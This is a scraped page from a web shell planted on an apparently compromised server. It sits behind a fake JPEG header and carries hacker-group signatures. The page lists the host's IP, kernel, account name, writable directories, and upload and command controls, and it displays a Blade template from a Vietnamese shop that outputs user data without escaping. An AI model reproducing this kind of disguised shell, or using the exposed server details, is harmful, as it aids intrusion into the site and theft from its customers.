JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/resources/views/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/resources/views/templates/lichsudonhang_tpl.blade.php
@extends('index')
@section('content')
<?php 
    if(Auth::guard('customer')->check()){
        $user = DB::table('users')->select()->where('id',Auth::guard('customer')->user()->id)->get()->first();
    }else{
        $user = DB::table('users')->select()->where('id',Auth::guard('socialite')->user()->id)->get()->first();
    }

?>
<section class="breadcrumbs breadcrumb-x">
    <div class="container">
        <nav class="breadcrumb">
            <a class="breadcrumb-item" href="{!! asset('/') !!}">Trang chủ</a>
            <span class="breadcrumb-item active">Tài khoản</span>
        </nav>
    </div>
</section>
<section class="account-page">
    <div class="container">
        <div class="row">
            <div class="col-md-3">
                <div class="account-left">
                    
                    <ul>
                        <li class="active">
                            <div class="account-image">
                                <div class="acc-name">
                                    <span>{!! $user->name !!}</span>
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="{{ asset('user/thong-tin-tai-khoan') }}" title="">
                                <i class="fa fa-pencil-square-o"></i>
                                Sửa thông tin
                            </a>
                        </li>
                        <li>
                            <a href="{{ asset('user/lich-su-don-hang') }}" title="">
                                <i class="fa fa-calendar-plus-o"></i>
                                Lịch sử đơn hàng
                            </a>
                        </li>
                        @if(Auth::guard('customer')->check())
                        <li>
                            <a href="{{ asset('user/doi-mat-khau') }}" title="">
                                <i class="fa fa-refresh"></i>
                                Đổi mật khẩu
                            </a>
                        </li>
                        @endif
                        <li>
                            <a href="{{ asset('dang-xuat') }}" title="">
                                <i class="fa fa-sign-out"></i>
                                Thoát
                            </a>
                        </li>
                    </ul>
                </div>
            </div>
            <div class="col-md-9">
                <div class="account-right">
                    <h4 class="title_thongtin">Lịch sử đơn hàng</h4>
                    @if(session('thongbao'))
                        <div class="alert alert-info">{{session('thongbao')}}</div>
                    @endif
                    <table class="table table-responsive history-table">
                        <thead>
                        <tr>
                            <th>STT</th>
                            <th>Mã</th>
                            <th>Họ tên</th>
                            <th>Tình trạng</th>
                            <th>Ngày mua</th>
                            <th>Thao tác</th>
                        </tr>
                        </thead>
                        <tbody>
                        @foreach($donhang as $k=>$item)
                        <tr>
                            <th scope="row">{!! $k+1 !!}</th>
                            <td>{!! $item->code !!}</td>
                            <td>{!! $item->name !!}</td>
                            <td>
                                <?php  
                                    $trangthai = DB::table('order_status')->where('id', $item->status)->first();
                                ?>
                                {{ $trangthai->name }}
                            </td>
                            <td><?=$item->created_at?></td>
                            <td>
                                
                                <a href="{!! asset('user/don-hang/'.$item->id) !!}" title="" class="acc-2"><i class="fa fa-eye"></i></a>
                                <a href="{!! asset('user/xoa-don-hang/'.$item->id) !!}" title="" class="acc-1"><i class="fa fa-trash-o"></i></a>
                            </td>
                        </tr>
                        @endforeach
                        </tbody>
                    </table>
                    {!! $donhang->links() !!}
                </div>
            </div>
        </div>
    </div>
</section>
@endsection

Anon7 - 2022
AnonSec Team